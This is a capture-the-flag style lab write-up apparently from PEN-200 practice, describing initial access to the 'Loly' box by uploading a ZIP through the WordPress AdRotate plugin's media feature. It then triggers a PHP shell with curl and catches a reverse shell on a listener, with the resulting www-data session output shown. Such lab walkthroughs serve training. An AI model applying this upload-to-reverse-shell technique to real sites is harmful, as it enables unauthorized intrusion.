Loly_Exploitation

AdRotate-Media File Upload

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The target WordPress instance has the AdRotate plugin installed. While the plugin itself appears vulnerable due to its outdated version, it also has a critical inherent vulnerability due to its media handling feature; adrotate-media Through the media handling feature, ZIP file could be uploaded that it gets automatically extracted on to the uploaded directory; /banners The /banners directory was later located and code execution was confirmed with a testing payload.

Successfully uploaded the payload

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/loly]
└─$ curl -s http://loly.lc/wordpress/wp-content/banners/shell.php

Invoking…

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/loly]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [192.168.45.235] from (UNKNOWN) [192.168.120.121] 34248
SOCKET: Shell has connected! PID: 3764
whoami
www-data
hostname
ubuntu
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:36:61 brd ff:ff:ff:ff:ff:ff
    inet 192.168.120.121/24 brd 192.168.120.255 scope global ens224
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe9e:3661/64 scope link 
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the www-data account via exploiting the AdRotate’s file upload feature